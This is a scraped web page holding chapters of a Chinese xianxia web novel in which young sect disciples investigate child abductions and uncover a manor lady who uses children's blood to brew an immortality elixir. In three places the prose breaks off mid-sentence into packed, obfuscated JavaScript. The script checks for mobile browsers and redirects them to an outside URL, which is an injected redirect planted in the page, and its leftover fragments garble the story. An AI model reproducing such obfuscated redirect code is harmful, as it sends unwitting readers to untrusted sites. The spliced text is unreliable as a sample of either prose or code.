闻辛苦笑一声，道:“后来小女孩跪在一家又一家药铺的门前，乞求有人能发发善心，救母亲一命，可是没有人愿意搭理她，没有人愿意做赔本的买卖，哪怕她磕得头破血流，都换不来一丁点药。再后来，小女孩眼睁睁地看着母亲永远地闭上了眼睛，再也没有睁开过。” “那小女孩的爹呢？死了没？！”洛纤凝气咻咻道，感觉自己的肺都快气炸了。 这种爹要是不遭报应，那真是苍天无眼啊！ 闻辛似乎思忖了一下，才道:“不知道。小女孩亲手……亲手埋葬了母亲，就离家出走，不知所踪了。” 闻辛讲完故事后，洛纤凝沉默了许久。 她如何能不知道闻辛的目的，于是小心翼翼地问道:“辛姐姐，你讲这个故事，是为了告诫我们，以后不要再去赌场了么？” 闻辛心直口快道:“是。” 她扫了一眼沐灵泽和沐辰风，发现这两名少年从始至终一直都低着头，一口一口地喝着茶，也不知道在想什么。 沐灵泽倒没有想什么，只是在同情故事里那个小女孩的遭遇。沐辰风却心道:“都出来玩了，还有人和堂姐似的盯着我，不让我干这干那，真讨厌。” 他本来以为洛纤凝会和他一样，然而洛纤凝却好像很乐意被人教训，她竟然向闻辛道起了谦:“不好意思啊辛姐姐，你放心，我们以后绝对不会再赌了，我们这不是好奇么……” “你不必向我道歉，”闻辛打断了洛纤凝的话，神色淡然道，“毕竟我们非亲非故，我管不着你，我只是出于好心，想提醒你一二罢了。” 洛纤凝夜噎了片刻，道:“那……辛姐姐，你能不能别把这事告诉我大师兄？我们肯定不会再赌了，我发誓！”说着竖起三根手指，一双杏眼睁得大大的，巴巴地看着闻辛。 闻辛被洛纤凝这一反应给逗笑了，欣然答应了下来:“好。” 洛纤凝顿时喜笑颜开:“辛姐姐，你真好！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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三个人自顾自思考着，丝毫没有注意到，在他们身后，青黛正忐忑不安地盯着闻辛，脸色煞白煞白的。 然而让她更加不安的还在后面。 柳惜朝和杨冲穿过熙熙攘攘的人群，四处张望着，似乎在寻找什么。洛纤凝见状，挥手大喊道:“大师兄！杨大哥！我们在这儿！” 很快，柳惜朝和杨冲就到了跟前。 柳惜朝喘了口气，道:“惜英，阿凝，方才的事，你们看见了没？” 林惜英道:“看见了。” 洛纤凝道:“就是那个丢孩子的事么？大师兄，你也看见那位大姐了？” 柳惜朝点了点头，道:“不错，此事杨兄方才也与我说了，我已经决定了，要在此处多留些时日，一定要此事查出来！” 他这话刚落，青黛就浑身抖了一下，伸手去抓闻辛的衣袖，怎料闻辛一个眼神瞪了过来，吓得青黛立马低下了头。 杨冲不远不近地望着二人，奇道:“辛姐姐，青黛，你们怎么在这儿？青黛，你脸色怎么这么难看？”说话间已走上前来，正欲仔细询问，就被闻辛挡了个结结实实。 闻辛挡在青黛面前，面无表情道:“没什么，她只是心情不好罢了。”说罢拉着青黛就往城外走去，顺便扔下一句:“玩够了就回家，少在外面浪！” 杨冲:“……” 你管得着么？！ 31. 人间19 屋外，风吹树叶沙沙作响，屋内，一室静谧。 紫衣女子坐在铜镜前，指尖捏着一支螺子黛，正细细往眉上添色。她对着镜子勾完最后一笔眉尾，这才停了手，声音从容又漠然:“他们当真要插手此事？” 闻辛立在温染身后，闻言正要答话，一旁的青黛就抢先一步说道:“千真万确，庄主，要不我们就此罢手吧？万一……” “万一什么？！”温染霍地起身看向青黛，一双美目渗着丝丝寒意，教人不敢直视，“天塌了还有我顶着呢！青黛，你可千万不要忘了，你们四个人的命都握在我手里，倘若你们敢背叛我，我就带你们一起下地狱！” 青黛的头压得更低了，半晌后道:“青黛不敢。” “出去吧。”温染重新坐回椅中，望向铜镜中那张年轻的面容，等青黛出去了，整个房间只剩下她和闻辛时，她才抚摸着自己如花般娇艳的脸庞，展颜笑道:“看来这驻颜丹果真有奇效，日后你要多督促她们，千万不要犯懒，无论发生何事。” 闻辛垂眸不语，似乎在盘算什么，良久之后，她鼓起勇气看向镜中的温染，真心实意地夸赞道:“即便没有驻颜丹，义母也是这世间最美的女子。” 怎料温染听了这话，不仅没有半分开心，反而笑容尽失。她看着镜中那双与她截然相反的、冷如刀锋的眼眸，冷声道:“你这话什么意思？又想劝我收手么？” 闻辛不忍义母伤心，但更不忍她一错再错，只得硬着头皮说下去:“不是女儿要与义母作对，而是义母所行之事，实在有违天道……” “什么天道？！”温染忽然高声打断闻辛。她起身来到窗边，像是挑衅一般，望着窗外高不可测的天空，大声道:“狗屁天道！我就是要逆了这天道！凭什么他们神仙妖魔能活千年万年，而我们凡人就只配活区区百年甚至不足百年？！这不公平！我不甘心，我好不容易才将过去的苦日子全都熬走，绝对不能就这样老去，死去！我要与天地同寿！天道不死，我不死！谁敢与我作对，我就弄死他！神仙下凡也别想阻拦我！” 又转身朝闻辛走来，放低声音道:“怎么，你害怕了？你从前不是说过，会永远听我的话，永远都不会忤逆我么？” “可是……可是他们不一样，他们是剑仙的弟子……” “剑仙又如何？！”温染依旧一副天不怕地不怕的样子，“他们修仙是为了长生，我炼丹也是为了长生，我何错之有？！他们是个什么东西？凭什么惩罚我？！” 她一边说着，一边上前一步，双手抓住闻辛的肩膀，与她近在迟尺。 “辛儿，你知道义母今年多少岁了么？义母比你多活了整整二十年！二十年！义母要是再炼不成长生不老药，义母马上就要死了！你难道要眼睁睁地看着义母老死么？！横竖都是死，倒不如放手一试，你说，义母说得对么？” 闻辛自知永远说不过义母，盯着义母疯狂的眉眼看了许久，最终妥协道:“对，义母说得都对。” 温染松开了闻辛的肩膀，露出了满意的笑容。 就在此时，外面传来一阵脚步声，紧接着，房门被人敲响，杨冲站在门外喊道:“娘！你在么？我进来了？” 温染抬脚朝门外走去:“进来吧。” 杨冲推开门，脸上挂着笑，唤道:“娘……辛姐姐？你也在？你们在背着我聊什么？” 温染走到杨冲面前，伸手戳了戳他的额头，唇边笑意温柔:“还能聊什么？当然是聊炼丹的事了。找为娘何事啊？” 杨冲摸了摸额头，道:“娘，柳兄他们说要查咱们乌县这两年丢孩子那事，所以我就想来问问你，能不能让他们在百草山庄多留几日？没准他们真能查出来呢。” 温染没有丝毫犹豫，笑道:“这事儿啊？辛儿方才早同我说了。当然可以了，为娘是那么小气的人么？” 杨冲笑得更开心了:“谢谢娘！娘你真好！”说罢伸出手，将手里的一朵小野花别在了温染的耳边，朝后一退，上下打量道:“真好看！娘你真美！人怎么能美成娘这样！” 温染白他一眼，道:“油嘴滑舌，忙你的去吧。” “好嘞娘！那我走了！” 温染立在门边，望着杨冲远去的背影，对闻辛道:“这几日夜里就不要下山了，等他们几个走了再说，我就不信，他们能一直查下去。对了，上次那个，抓来有三日了吧？” 闻辛怔怔地望着门边，好一阵才压下眼里的艳羡，垂着眼道:“嗯。” “你应该知道怎么做吧？” 闻辛沉默着，忽然抬起眸，道:“义母，以防万一，要不还是等他们几个走了再炼……” “怕什么？”温染再次打断闻辛，朝她走来，“他们的住处离炼丹房那么远，能看见什么？这点胆子都没有，以后还能指望你干什么？” 闻辛不再反驳，低下了头，应了声是。 温染又道:“白天的时候多和他们走动走动，一旦发现什么，立刻回来告诉我。” 闻辛:“……是。” 从温染的房间里出来，闻辛径直去了洛纤凝等人的住处，待到了跟前，果然见他们五个人围坐在一起讨论着什么，房门大开着，门边倚着一个人，正是杨冲。 看见闻辛，杨冲似乎有些惊讶:“辛姐姐，你怎么来了？” 她平时除了去找母亲，就是在炼丹房。 洛纤凝从凳子上下来，蹦到闻辛跟前，道:“辛姐姐，你来得正好，我们正在讨论怎么抓那个偷孩子的大坏蛋！” “哦？”闻辛略显好奇道，“你们已经知道是谁干的了？” 洛纤凝挠挠头道:“还不知道，这不是正在讨论嘛。” 闻辛浅浅一笑，道:“那你们打算怎么抓他？” 沐灵泽道:“我们刚才听杨大哥说了，他说那个偷孩子的贼总在半夜出现，所以我们打算子时过后去城里碰碰运气。” 闻辛觉得他们的计策很是好笑:“乌县这么大，你们打算去哪个角落里碰运气？而且我听说那个偷孩子的贼作恶时毫无章法，有时三五天出现一次，有时一个月出现一次，而且出现的地方每次都不一样，恐怕你们很难抓到他。” 柳惜朝道:“闻姑娘说得对，我们正在为此事发愁，倘若那个贼始终不出现，我们又该上哪儿去找他？” 杨冲叹了口气，道:“我早就说过让你们不要管这事，这事自有官府管，你说你们插什么手？” 洛纤凝道:“杨大哥，你又不是没看见早上那位大姐哭得有多伤心，总不能教我们置之不理吧？万一我们运气好，真的抓到那个贼了呢？” 杨冲翻了个白眼，道:“行吧，我对乌县熟，今晚我就舍命陪君子，陪你们走一遭！” 洛纤凝开心地跳了起来:“我就知道杨大哥你不会不管我们！”又问闻辛:“辛姐姐，晚上你去么？” 闻辛想了想，道:“我就不去了，你们路上小心。” 等闻辛走了，洛纤凝凑了过来，对杨冲道:“杨大哥，你什么时候告诉辛姐姐你的心意？” 杨冲正盯着闻辛的背影发呆，骤闻此话，惊得险些朝后一仰:“什、什么心意？！” 洛纤凝嘿嘿一笑，道:“还装，杨大哥，你喜欢辛姐姐，我们几个早就看出来了！” 早就看出来了？！ 杨冲转头朝屋里一扫，果然，别说柳惜朝了，就连沐灵泽和沐辰风这两个小鬼头都用一种很是耐人寻味的表情看着他。 他急忙狡辩道:“你们想多了！我怎么可能会喜欢她？！我喜欢的人，那一定是……那一定和我娘一样，是一个温柔贤惠又漂亮的大家闺秀！怎么可能会是她那样的？！” 柳惜朝知他口是心非，上前两步拍了拍他的肩膀，语重心长道:“杨兄，我知道你不想承认，但我师父说了，人生在世，有些话能早些说，就一定要早些说，千万不要等到人都走远了，才跳出来故作深情，那样就来不及了。” 杨冲:“……” 隔了一会儿，他道:“柳兄，我觉得……你们还是先休息吧，晚上我再过来找你们。” 语毕，一溜烟地不见了踪影。 柳惜朝摇了摇头，看向四人:“那就这样决定了，吃完晚饭，大家先休息，子时一到，我们就出发。” 五个人各自回房休息，用完晚饭后，沐灵泽躺在床上打算再睡一会儿，就听见沐辰风在床榻前踱来踱去踱个不停。 沐灵泽睁开眼睛道:“沐辰风，你能不能别老在我面前晃来晃去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034240|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，马上就要去抓贼了，能不能让我抓紧时间多睡一会儿？” 沐辰风停下脚步，望着窗外渐渐黑下来的天，道:“我睡不着，这都睡了大半天了！”又转向沐灵泽，“离出发还有一个多时辰呢，阿泽，要不……我们去炼丹房看看？” “去那儿干嘛？”沐灵泽警觉道，“你没听杨大哥说，炼丹房除了温庄主和辛姐姐她们，谁都不能进去么？你又想干嘛？” 沐辰风扑过来道:“阿泽，你仔细想想，咱们俩这是头一次离家出走这么长时间，等回了碧落门，不知道要挨多少打，如果我们能拿到驻颜丹的配方，把她献给堂姐，没准堂姐一高兴，就不打我们了！” 沐灵泽“腾”的一声从床榻上坐了起来:“你想要驻颜丹的配方？沐辰风，你是不是疯了？！那是你的东西么？！” 沐辰风撇撇嘴道:“我知道我这么做是有些不太厚道，但是……我们又不是去偷，只是去看看，把它记在心里就行。” “这跟偷有什么区别？”沐灵泽甚是无语道。 “那……我这么做不都是为了咱俩，为了让堂姐开心开心……” “得了吧，”沐灵泽递给沐辰风一个白眼，“我阿姐怎么可能会是那么肤浅的人？” “哪有女子不在乎自己容貌的？！”沐辰风以己度人道，“我一个男人都在乎！” 沐灵泽:“我看你是自己想偷吧？” “……阿泽！你怎么能这么想我呢？比起青春永驻，我更希望堂姐能对我好一点，不要动不动就打我。再说了，堂姐她就算现在不在乎，以后老了满脸皱纹了还能不在乎么？” 沐灵泽:“不去。” 沐辰风:“……” 眼看沐灵泽又躺了下去，沐辰风急道:“阿泽，你先别睡嘛，你看，这天都黑了，他们肯定早就睡了，我们偷偷去炼丹房，再偷偷回来……” 沐灵泽不耐烦道:“你怎么知道驻颜丹的配方在炼丹房？万一在温庄主的房间里呢？又或者干脆没有配方……” “怎么可能！”沐辰风十分笃定道，“你没听杨大哥说，炼丹房连他也不能进么？这么神秘，所以我猜，驻颜丹的配方一定在炼丹房！” 沐灵泽耐着性子道:“就算驻颜丹的配方真的在炼丹房，但你没看见昨天青黛姐姐她们出来后，将房门上锁了么？” “那有什么？”沐辰风不以为意道，“我会撬锁啊。” “你什么时候又会撬锁了？！”沐灵泽又从床榻上坐了起来，“你就不能把心思放在正道上么？” 沐辰风将脸别了过去，道:“你就说你去不去吧！你要是不去的话，那我自己去了！我可不想回去被堂姐打！再说了，你可不要忘了，我是陪你离家出走的！” 沐灵泽:“……” 一提起这事，他难免有些愧疚。 可他还是不想去，虽说他对容颜永驻这种事也挺感兴趣的，但也不是十分的感兴趣。 人嘛，总有老去的一天，老就老呗，大家都老，又不是只有他一个人老。 见沐灵泽开始动摇，沐辰风赶紧煽风点火道:“走嘛阿泽，你难道不想让堂姐对你笑一次么？你看她从小到大，有对你笑过一次么？没有！她宁愿对着我笑，也不愿对着你笑，亏你还是她亲弟弟呢！” 这话正好戳中了沐灵泽的痛处。 的确，从小到大，因为阿娘的缘故，阿姐从未给过他一个笑脸，后来阿爹死了，阿姐更是成天到晚冷着一张脸，活像一具会呼吸的尸体。 沐辰风说得对，即便阿姐现在不在乎自己的容貌，那将来呢？如果驻颜丹真的能让阿姐开心，他去偷来又何妨？只要能让阿姐对他笑一次，无论何等难寻的药材，他都寻得来。 机会难得，一旦错过，以后可能就没有这么好的机会了。 打定主意后，两个人悄悄地打开了房门，又悄悄地关上了房门，一路左拐右拐，终于偷偷摸摸地来到了炼丹房外。 炼丹房内一片漆黑，一丝灯光都无。两个人走到跟前才发现，房门虽然紧紧关闭，但却没有上锁！ 沐灵泽皱眉道:“奇怪，炼丹房里没有人，那为什么不上锁？” 沐辰风道:“管他呢，没上锁更好，先进去看看。” 32. 人间20 两个人刚进到炼丹房，一股浓浓的草药味就扑面而来，令他们鼻孔一阵发痒。 沐辰风从怀中摸出一个火折子，拇指一掀，轻轻一吹，一簇火苗便“嗤”的一声燃了起来。 透过火苗，他们看见这座炼丹房的正中央立着一尊巨大的暗金色的炼丹炉，四周摆放着供炼丹之人休息的蒲团，靠墙处则立着一层又一层的木质药柜，抽屉上贴着各类标签。 角落里有一张铜案，案上摊着一堆大小不一的纸张，沐辰风见状喜道:“一定在那里，走。” 两个人到了铜案跟前，好一顿翻找，可最终什么都没有找到，那些纸张上写得都是一些寻常药材，以及几个时辰后加入什么药材之类的，看着好像和驻颜丹也没什么关系。 沐灵泽摆手道:“我说什么来着，这么重要的东西，人家肯定记在脑子里，怎么可能记在纸上？” 沐辰风还是不死心，偏要继续翻找，他觉得即便人的脑子再厉害，也有记性不好的时候。 沐灵泽摇摇头，四处张望了起来。 不知道是不是他的嗅觉过于敏锐，他好像闻到了一股血腥味。 他闭上眼睛，情不自禁地抬脚朝血腥味飘来的方向走去，就来到了炼丹炉跟前。 他倾身向前，将自己的鼻子贴了过去，然后使劲嗅了一下。 这不嗅不要紧，一嗅还真嗅到了一股若有若无的血腥味，伴随着一股浓浓的草药味，还有炭火味。 沐灵泽皱着眉头嘀咕道:“怎么回事？怎么真有股血腥味？” 他正想着要不要再嗅一下，忽然，耳边传来“哗”的一声。 沐灵泽被吓了一跳。 他扭头望去，只见面前的墙壁不知何时竟被凿出了一道门！ 沐辰风低声惊呼道:“是机关！这是个机关！” 他想驻颜丹已经想疯了，对着那些抽屉就是一阵猛拉，谁料其中一个竟然是机关，一拉开就是一道门。 他也顾不得看那抽屉上贴的是什么标签了，拽着沐灵泽就往那暗门走去。 沐灵泽后退一步，道:“你干嘛？你还真想进去？万一出不来怎么办？” 沐辰风不以为意:“怎么可能？它里面肯定有一个机关，一按进去，门就关了，再按一下，门就开了，不信我先进去，你在外面等着。” 说完竟真的朝那暗门中踏了进去，左顾右盼一番，指着旁边的墙壁道:“看吧，我就说这有个机关。阿泽，你还愣着干嘛？快进来啊，没准驻颜丹的配方就藏在这里呢！” 然而沐灵泽却迟迟不肯动弹。他望着面前那条幽深的甬道，总感觉有些古怪，但又说不上来哪里怪。 沐辰风没耐心等他了，丢下一句:“你不去我自己去！”便转身朝里走去。 其实他心里还是很害怕的，生怕沐灵泽丢下他一个人跑了，因此步伐要多慢有多慢，并且不停地在心里祈祷:“跟上来，快跟上来，阿泽，不要丢下我一个人……” 果然，没多久，他就听到了暗门关闭的声音。 沐灵泽按下墙壁上的机关，小跑几步跟上沐辰风的步伐，小声道:“你今天胆子怎么这么大？” 沐辰风得意洋洋道:“人是会变的嘛。” 穿过一条甬道，下了几十级台阶，再穿过一条甬道，再下几十级台阶，面前便豁然开朗，宽阔了起来，但仍旧是漆黑一片，唯有两人手中的这点光亮。 这是一间巨大的密室，密室中央摆放着一张长而宽的石床，四周的墙壁上靠着许多铁架，架上摆放着许多小瓷瓶，红的，绿的，蓝的……各种颜色都有。 两个人围着离他们较近的铁架端详了起来，想看看这里有没有驻颜丹，以及驻颜丹的配方，结果就闻到了一股浓浓的血腥味。 沐辰风鼻尖一动，道:“阿泽，你有没有闻到什么味道？” 沐灵泽有些忐忑不安:“闻到了，好像在石床那边。” 两个人肩并肩走了过去，低下头往石床上看去，这不看不要紧，一看吓一跳——石床上竟然有一大片血渍！ 沐辰风当即便被吓得朝后一仰，指着石床道:“血！是血……” 沐灵泽立刻捂住他的嘴，示意他不要大声嚷嚷，随后蹲在石床边，手中举着火折子，仔细观察了起来。 “的确是血，而且还没干，这说明……” “说明什么？”沐辰风声音发抖道，“阿泽你不要吓我……” “说明这里刚死过人。” 就在这时，一个声音突然从身后响起，幽幽的，像毒蛇一般窜过兄弟二人的身躯和天灵盖。 “……啊！！！” 随着沐辰风的一声尖叫，沐灵泽快速地转过身去，映入眼帘的就是闻辛那张阴冷无比的面容，以及她身后站着的青黛、半夏、白芷和茯苓四人。 沐辰风早已吓得魂飞魄散，躲在沐灵泽的身后瑟瑟发抖了起来。 沐灵泽也吓得不轻，但好在来者是人不是鬼。 他深吸一口气，定了定心神，费了好大的劲才扯出了一个比哭还难看的笑，挥着手对面前的五个人道:“你好啊辛姐姐，青黛姐姐，误会，都是误会，我们什么都没有看见，我们就是……随便逛逛……” “哦？是么？”闻辛一边微笑着向二人逼近，一边抽出腰间的软剑，“深更半夜，你们不好好睡觉，跑来我这里瞎逛什么？你们在找什么？找死么？” 原来闻辛和青黛一行人方才办完事正欲离开，怎料刚走到密室门口，就听见外面有人在说话，声音虽然很小，但还是落入了闻辛的耳中。闻辛只好带着四姐妹折返回去躲了起来，想看看来者是何人。 只有两个人，她就放心多了。 看来这下不是你死就是我活了。沐灵泽“噌”的一声拔出腰间的剑，大声道:“沐辰风！还愣着干什么？！上！” 沐辰风:“啊？！” 不等他再“啊”下去，就看见沐灵泽冲上去和闻辛等人缠斗了起来。 他这个做堂兄的如何能置之不理？于是果断加入战斗。 但四拳终究难敌十手，很快，兄弟俩就被那四姐妹给按住了。 这四姐妹的武功虽说不怎么样，但加起来却远胜一个沐辰风，再加上闻辛，他们兄弟俩就更不是对手了。 闻辛蹲下身，冰冷的手指掐住沐灵泽的下颌，面色阴沉道:“你们自己找死，就别怪我无情。” 沐灵泽瞪着闻辛道:“你们想干什么？你们刚才究竟在杀谁？！” “这就不劳你操心了。”闻辛慢悠悠地说着，伸手从铁架上拿过一个小瓷瓶，倒出两粒药来。 沐辰风牙关打颤道:“你干嘛？你要给我们吃什么东西？” “放心，没有毒，只是祛除你们体内的污浊罢了。” “祛除我们体内的污浊，然后呢？” “然后？”闻辛长眉一挑，似笑非笑道:“用你们的血和骨髓，来炼义母的长生不老药！” 正是夜半时分，外面的天已经很黑了，洛纤凝拉着林惜英从房间里蹦了出来，正好看见杨冲负着手悠哉悠哉地朝这边走来。 洛纤凝朝杨冲挥了挥手，唤了声:“杨大哥！”便跑去敲柳惜朝和沐灵泽、沐辰风的房门。 敲柳惜朝房门时，柳惜朝好歹应了一声，可是敲沐灵泽和沐辰风的房门时，敲了半天都没人应。 “怎么回事？”洛纤凝一脚踹开门，往里一看，皱眉道:“人呢？怎么不在？” 柳惜朝道:“他俩不在？去哪儿了？” 洛纤凝道:“不知道啊，杨大哥，你有没有看见他们两个？” 杨冲道:“我上哪儿去看见他们？会不会去茅房了？” 柳惜朝只好和杨冲去了趟茅房，并且在茅房周围好一通寻找，但依旧没找到人。 “说好的这个时辰，他们俩能去哪儿呢？”洛纤凝挠着头道，“不会丢下我们自己先下山了吧？” 杨冲道:“不管了，要不我们先走吧，他们俩要是没下山，肯定会追过来的。” 柳惜朝道:“只好这样了。” 乌县。 夜色如墨，月光透过稀疏的云层，斑驳地洒在青石板上。四个矫捷的身影跃上屋顶，分别朝四个方向而去，灵活地穿梭在各个屋檐之间。 此时百姓们大多早已入睡，因此大街上的行人寥寥无几，十分的寂静。 洛纤凝抱着凌云剑站在一座酒楼的楼顶上，抬头望着月亮，身姿挺拔如松，长长的红色发带被风吹得猎猎作响，像两道不甘被束缚的火焰，在身后划出凌乱却张扬的弧线…… 她感觉自己像极了话本里的女侠客，英姿飒爽，目空一切，就差发现那个偷孩子的贼，以彰显自己非凡的身手了。 然而她在这里张望了许久，除了几个醉鬼和几个嫖客之外，依旧什么人都没有看见，更别提奇怪的人了。 “什么嘛！”她实在装不下去了，一屁股坐在了楼顶的瓦片上，“也不知道师姐和大师兄他们发现什么了没，反正我是发现不了什么了，还不如回去睡觉。话说沐灵泽和沐辰风这两个小不死的死哪儿去了？都老半天了，也没见他们追过来，看我回去怎么收拾他们！” 她兀自嘟囔着，伸展胳膊正要躺一会儿，就看见一个白色的什么东西从远处的屋顶掠过，紧接着就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038705|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是杨冲的声音:“妖怪！给我站住！！” “妖怪？！”洛纤凝一个激灵站起身来，愣怔片刻后，飞身跃下楼顶，施展轻功朝那道白色的身影追了过去。 看来这个偷孩子的贼八成是个妖怪！ 他们的运气也太好了吧，竟然这么快就逮到了这个贼人！话说这个贼人跑得真够快的，难怪都过去两年了，愣是没人能抓到他。 杨冲在后面追，洛纤凝从侧面包抄，很快，两人一妖就在一个偏僻狭窄的小巷子里见面了。 洛纤凝从墙角落下，凌云剑往身前一横，道:“妖怪！哪里……” “大姐姐救我！！！” 狠话还没放完，那妖就一溜烟地朝自己跑来。 洛纤凝:“……” 大姐姐？谁？她么？ 洛纤凝还没反应过来，那妖已经跑到她的身后，抓着她的胳膊躲了起来，竟是丝毫不畏惧她！ 杨冲气喘吁吁地跑了过来，见那妖似乎认识洛纤凝一般，很是奇怪:“洛妹妹，你认识这妖？” “……怎么会？！”洛纤凝朝旁一跳，指着那妖，道:“你谁啊？我认识你么？你躲在我后面干嘛？！” 那妖化成人形时，是一个十三四岁的小女孩，与冯惜缘差不多大，一副古灵精怪的模样，但胆子可比冯惜缘大多了，不认识的陌生人都敢靠近。 小女孩望着面前那张熟悉的面孔，眨着眼道:“你不认识我，但我认识你啊，你不就是我阿婆画像上的那个人么？我们旸山狐族的大恩人！不过，你比她年轻一点……” “什么大恩人？”洛纤凝听得云里雾里，简直不知道她在说什么，“小妹妹，你认错人了吧？” 她根本就没下过长绝山，哪来的工夫跑去当别人的大恩人。 “还有，你说你来自……” 这时，两道蓝色的身影越过高墙掠了下来，正是林惜英和柳惜朝。 柳惜朝望着三个人，道:“怎么回事？可是抓到那贼人了？” 杨冲指着小女孩，对柳惜朝道:“十有八九就是她！她刚才偷了一个醉……一个大哥的钱袋，我让她把钱还回去，结果她不仅不还，还骂我多管闲事。我就去追她，结果就看见她变成了一只狐狸跑了！” 狐狸？柳惜朝皱眉看向小女孩，沉声道:“你是妖？” 小女孩被柳惜朝和林惜英的气势给吓到了，朝后退了一步，答非所问道:“他醉醺醺地躺在那儿，不就是等着我去偷么？再说了，这怎么能叫偷呢？这叫拿！光明正大地拿！” “嘿！”杨冲觉得这妖简直不可理喻，他拔出手中的剑，指着小女孩，厉声道:“说！那些孩子是不是也是你偷的？！” “什么孩子？我偷孩子做什么？”小女孩一头雾水，忽然，像是想起了什么，她道:“哦，我知道了，你们把我当成那个偷孩子的贼了是吧？我跟你们说，不是我，但是我知道是谁。” 四个人异口同声道:“谁？！” 小女孩支着下巴道:“好像是三日前的这个时辰吧，有一个黑衣人挟着一个小孩，从房顶上飞过去了。” “男的女的？多大年纪？长什么样？”洛纤凝凑到小女孩跟前问道。 小女孩仔细回忆道:“好像是个女的，至于长什么样……她脸上蒙着布，我没看清。” “……” 这不等于什么都没说么？ “那你为什么不拦住她？！”杨冲上前一步，冲小女孩吼道。 小女孩被他吼生气了，觉得这人真是没礼貌。她没好气道:“我为什么要拦住她？你们人自相残杀，关我们妖什么事？再说了，我能不能打得过她还不一定呢，何必赶着投胎。” 这话确实有道理，不过杨冲还是不信:“我看八成是你这妖怪干的！” “我看是你干的！”小女孩伸长脖子反驳道，“你们人真的好奇怪，喜欢自相残杀就算了，干了坏事之后还总喜欢赖给我们妖！你哪只眼睛看见那些孩子是我抓的？我自己都还是个孩子好不好？！” 说罢又跑到洛纤凝身后躲了起来，一双狐狸眼睛幽幽地瞪着杨冲，道:“大姐姐你保护我，这个人真的好讨厌，好没礼貌，长得还丑！” “……你说什么？！你说我长得丑？！”头一次被人说长得丑，杨冲气得头发丝都快竖起来了。 这下别提洛纤凝和柳惜朝了，就连林惜英都笑弯了嘴角，实在是因为杨冲的长相和“丑”字压根不沾一点边。 “就丑就丑！”小女孩仗着有洛纤凝在，有恃无恐道，又转向洛纤凝，道:“大姐姐，你跟我回旸山吧，我阿婆见到你一定会很开心的。” 33. 人间21 “旸山？”柳惜朝忽然出声，眼睛紧紧盯着小女孩，“你说你来自旸山？” “对啊，”小女孩两眼发亮道，“你知道我们旸山？” “旸山？”杨冲看了眼小女孩，又看了眼柳惜朝，“那是什么地方？” 洛纤凝抢答道:“我知道！这地方我听师父讲过，说是南海边上有一座山，名叫旸山，山外有一道结界，寻常人看不见摸不着也进不去，只有旸山狐族才知道怎么进去，对不对大师兄？” 柳惜朝道:“不错，我听师父说过，旸山狐族从不害人，而且听说他们的族长是一只活了九千多年的大妖……” “九千多年？！”杨冲吃惊道。 一般的妖最多可活两三千年，因为每隔五百年，他们就要度一次雷劫，能挨过三次雷劫的都是少之又少。这妖竟然能活九千年，可想而知挨了多少雷劫！ 这简直太不可思议了！ “没错！”小女孩眉毛一挑，十分骄傲道，“你们口中那只活了九千多年的大妖，正是我阿婆！我阿婆她可厉害了，一拐杖下去，就能把你们这些凡夫俗子挥去十万八千里之外！” “……” 半晌后，柳惜朝道:“没有证据，我看我们还是不要得罪她，否则他日那大妖寻了过来就麻烦了。” “那就这么算了？！”杨冲急道，“万一真是她干的呢？那岂不是白白放走了凶手！” “我都说了我不是凶手！我没有偷过什么孩子！”小女孩暴跳如雷地朝杨冲吼道，吼完又拽着洛纤凝的衣袖，摇来晃去道:“大姐姐，你跟我回旸山好不好？我阿婆见到你一定会很开心的。” 洛纤凝翻了个白眼，甚是无语道:“小妹妹，我再说一遍，你真的认错人了，我不是你们的恩人，而且我们是仙门弟子，仙门弟子是不能与妖为伍的。你快些走吧，回你家里去，别让你阿婆担心你。” “恩人？”林惜英看着洛纤凝，微微皱眉道，“怎么回事？” 见柳惜朝也投来了好奇的目光，洛纤凝只好解释道:“师姐，大师兄，是这样的，她呀，刚才非拉着我，说我是她们旸山狐族的大恩人，可是我之前压根就没离开过长绝山，上哪儿去当什么恩人？所以她一定是认错人了！” 原来如此。 柳惜朝正色道:“小妹妹，你认错人了，她是我师妹，不是你们旸山的恩人，你若再不走，休怪我们对你不客气！” 然而小女孩还是舍不得走，她细细打量着洛纤凝的眉眼，越看越觉得像。她抱着最后一丝希望，问道:“你真的不是？” 洛纤凝摇头:“不是。” “……好吧。”小女孩彻底打消了带洛纤凝回家的念头，垂头丧气地往巷子外走去。 经过柳惜朝身边时，柳惜朝突然道:“等等。” 小女孩被吓了一跳。 “把钱袋还来。”柳惜朝向小女孩伸出了手。 小女孩默默地翻了个白眼，不情不愿地将腰间的荷包解了下来，扔给了柳惜朝。 “哎哎哎……”杨冲还在后面不甘心喊着，洛纤凝上前拍了拍他的肩膀，劝道:“好了杨大哥，你看人家多单纯一小姑娘，怎么可能会偷孩子呢？” “单纯？”杨冲一副活见鬼的表情，“她要是单纯，能去偷钱么？偷完之后还踹了人家一脚！合着旸山狐从不害人，只偷钱是吧？！” 洛纤凝:“……” 